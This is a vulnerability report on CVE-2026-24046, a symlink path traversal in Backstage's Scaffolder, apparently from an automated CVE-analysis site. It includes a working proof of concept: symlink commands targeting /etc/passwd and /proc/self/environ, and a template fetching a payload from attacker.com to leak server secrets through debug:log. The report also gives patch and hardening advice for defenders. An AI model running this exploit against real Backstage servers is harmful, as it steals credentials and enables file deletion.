CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24046

CVE-2026-24046: The Backstage Pass You Didn't Want

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 15, 2026·7 min read·92 visits

Executive Summary (TL;DR)

Backstage Scaffolder actions blindly followed symlinks. Attackers can define templates that create symlinks to sensitive host files (like /etc/passwd) and then use built-in actions to read or delete them. Patch immediately to versions that enforce safe path resolution.

A critical path traversal vulnerability in Backstage's Scaffolder component allows attackers to weaponize symbolic links. By crafting malicious templates or archives, bad actors can read arbitrary files from the host system or delete critical data, effectively breaking out of the application's sandbox. It turns the developer portal into a filesystem browsing tool for attackers.

The Hook: Developer Portals or Hacker Portals?

Backstage has become the darling of platform engineering. It’s the "Spotify model" in a box—a centralized portal where developers can spin up services, view documentation, and generally feel productive. At the heart of this machinery is the Scaffolder, a powerful engine that takes templates (think cookiecutter on steroids) and generates codebases. It’s automation at its finest. But as any security researcher knows, automation without strict boundaries is just a fancy remote administration tool for attackers.

CVE-2026-24046 is a classic tale of "trusting the filesystem too much." The vulnerability resides in how Backstage handles file operations within the Scaffolder's workspace. Specifically, it involves the dark art of symbolic links. The Scaffolder creates a temporary directory (the workspace) to do its business—downloading code, running scripts, and zipping artifacts. The assumption was that everything stays inside that sandbox.

Spoiler alert: It didn't. By cleverly using symlinks, an attacker can trick the Backstage backend—which often runs with significant privileges in CI/CD pipelines—into reaching outside the sandbox. It’s the digital equivalent of locking your front door but leaving a wormhole in your living room that leads directly to the bank vault. If you can define a template, you can own the filesystem.

The Flaw: Symlinks, The Portals of Doom

To understand this flaw, you have to look at how Node.js and standard file systems interact. When you perform an operation like fs.readFile('/tmp/workspace/config'), and config happens to be a symlink pointing to /etc/passwd, the operating system happily follows the link and reads the password file. Unless the application explicitly checks "Hey, where does this link actually go?", it's game over.

Backstage's Scaffolder provides several built-in actions. Two of them were particularly naive:

  1. debug:log: Designed to help developers debug templates by printing workspace contents.
  2. fs:delete: Designed to clean up files.

Neither of these actions verified that the files they were touching were actually inside the workspace. They just took a path, joined it with the workspace root, and executed. If an attacker could introduce a symlink into that workspace, they could redirect those actions to arbitrary locations on the host server. The root cause wasn't just missing input validation; it was a fundamental failure to treat the filesystem as a hostile environment.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerability existed in multiple places, but the logic in debug:log is the most egregious example of blind trust.

The Vulnerable Code (Conceptual) In the old version, the code essentially did this:

// Inside the debug:log action
const filePath = path.join(ctx.workspacePath, userProvidedPath);
const content = fs.readFileSync(filePath, 'utf-8'); // <--- CRITICAL FAILURE
console.log(content);

It looks innocent. It joins the workspace path with the file path. But fs.readFileSync follows symlinks by default. If userProvidedPath is a symlink pointing to ../../../../etc/shadow, Node.js resolves it, and Backstage logs your shadow file to the console.

The Fix (Commit c641c14) The patch introduces a sanity check. The maintainers added resolveSafeChildPath, a utility that resolves the path and checks if it's still inside the parent directory.

// The patched version
import { resolveSafeChildPath } from '@backstage/backend-common';
 
try {
    // This throws an error if the resolved path is outside workspacePath
    const safePath = resolveSafeChildPath(ctx.workspacePath, relativePath);
    const content = fs.readFileSync(safePath, 'utf-8');
    return content;
} catch (error) {
    // Symlink attempt blocked
    return `[Security Blocked]: ${relativePath} resolves outside workspace`;
}

They also patched the archive extraction logic (TarArchiveResponse.ts). Previously, it extracted symlinks blindly. Now, it checks the linkpath of every SymbolicLink entry in a tarball to ensure the target of the link doesn't point outside the extraction directory. If it does, it bails out.

The Exploit: Stealing Secrets in 3 Steps

Let's construct a Proof of Concept (PoC). We assume we have permission to register a new Template in Backstage (a common privilege for developers).

Step 1: The Malicious Archive First, we create a tarball containing a symlink. We can't just create the symlink in the repo directly because git handles symlinks weirdly across OSs. Instead, we craft a tarball payload.tar.gz:

# Create a symlink pointing to the server's environment variables or password file
ln -s /proc/self/environ target_link
ln -s /etc/passwd passwd_link
 
# Tar it up
tar -czvf payload.tar.gz target_link passwd_link

Step 2: The Poisoned Template We create a template.yaml that downloads and extracts this tarball, then instructs the debug:log action to print the contents.

apiVersion: scaffolder.backstage.io/v1beta3
kind: Template
metadata:
  name: hacker-view
spec:
  steps:
    - id: fetch-evil
      name: Fetch Malicious Tarball
      action: fetch:plain
      input:
        url: https://attacker.com/payload.tar.gz
 
    - id: read-secrets
      name: Exfiltrate Data
      action: debug:log
      input:
        listWorkspace: 'with-contents' # The money shot

Step 3: Execution When the user runs this template:

  1. Backstage downloads payload.tar.gz to the workspace.
  2. It extracts the symlinks target_link (pointing to /proc/self/environ) and passwd_link.
  3. The debug:log action iterates through the workspace.
  4. It hits target_link, follows it to /proc/self/environ, reads the process environment variables (which likely contain AWS_ACCESS_KEY_ID, GITHUB_TOKEN, and database credentials), and logs them.
  5. The attacker views the logs in the Backstage UI and walks away with the keys to the kingdom.

The Impact: Why Should You Panic?

This isn't just about reading /etc/passwd. The impact depends on how you host Backstage.

1. Secret Exfiltration (High Probability) Backstage backends are often loaded with secrets: GitHub App private keys, AWS credentials, database connection strings. Since the debug:log action writes to the task logs (visible to the user running the template), this is a direct pipe from the server's environment to the attacker's screen.

2. Denial of Service (Medium Probability) The fs:delete action is also vulnerable. An attacker could symlink crucial system directories and trigger a delete. Imagine a template that symlinks /app/node_modules and then runs fs:delete. The backend creates the link, deletes the target, and suddenly your Backstage instance crashes and won't restart.

3. RCE (Lower Probability, but possible) If the attacker can write files via symlinks (using fetch:plain with a malicious zip), they might be able to overwrite configuration files or inject code into the running application, specifically if the application is running in a writable filesystem (common in non-containerized or poorly configured container setups).

The Fix: How to Stop the Bleeding

If you are running Backstage, you are likely affected. This vulnerability hits the core @backstage/plugin-scaffolder-backend.

Immediate Action Update your packages. You need to be on at least:

  • @backstage/plugin-scaffolder-backend: v2.2.2, v3.0.2, or v3.1.1
  • @backstage/backend-defaults: v0.12.2+

Defense in Depth

  1. Container Hardening: Don't run Backstage as root. Use a read-only root filesystem (readOnlyRootFilesystem: true in Kubernetes) and mount a separate emptyDir volume for the Scaffolder workspace. This limits the damage to that specific volume.
  2. Permissions: Review who can create templates. Use the Backstage Permissions Framework to lock down the Scaffolder. If untrusted developers can register templates, you are effectively giving them shell access.
  3. Disable Debugging: In production, consider disabling or restricting the debug:log action if it's not strictly needed. It's a developer tool that became a weapon.

Official Patches

BackstageOfficial GitHub Security Advisory
BackstageCommit fixing the vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L
EPSS Probability
0.02%
Top 96% most exploited

Affected Systems

Backstage Developer PortalScaffolder Backend PluginBackstage Backend Defaults

Affected Versions Detail

Product
Affected Versions
Fixed Version
@backstage/backend-defaults
Backstage
< 0.12.20.12.2
@backstage/plugin-scaffolder-backend
Backstage
< 2.2.22.2.2
@backstage/plugin-scaffolder-backend
Backstage
3.0.x < 3.0.23.0.2
AttributeDetail
CWE IDCWE-22 / CWE-59
Attack VectorNetwork (via Template)
CVSS7.1 (High)
ImpactArbitrary File Read/Write/Delete
Exploit StatusPoC Available
Componentsdebug:log, fs:delete, TarArchiveResponse

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
T1553Subvert Trust Controls
Defense Evasion
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') via Symlinks

Known Exploits & Detection

Research AnalysisConstructed PoC using Tar archive with symlinks and debug:log action.

Vulnerability Timeline

Patch committed to main repository
2026-01-20
GHSA-rq6q-wr2q-7pgp published
2026-01-21
CVE-2026-24046 assigned
2026-01-21

References & Sources

  • [1]GHSA-rq6q-wr2q-7pgp
  • [2]Backstage Permissions Framework

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 9 hours ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
5 views•8 min read
•about 10 hours ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
6 views•5 min read
•about 11 hours ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 12 hours ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
9 views•5 min read
•about 13 hours ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
6 views•5 min read
•about 14 hours ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
8 views•6 min read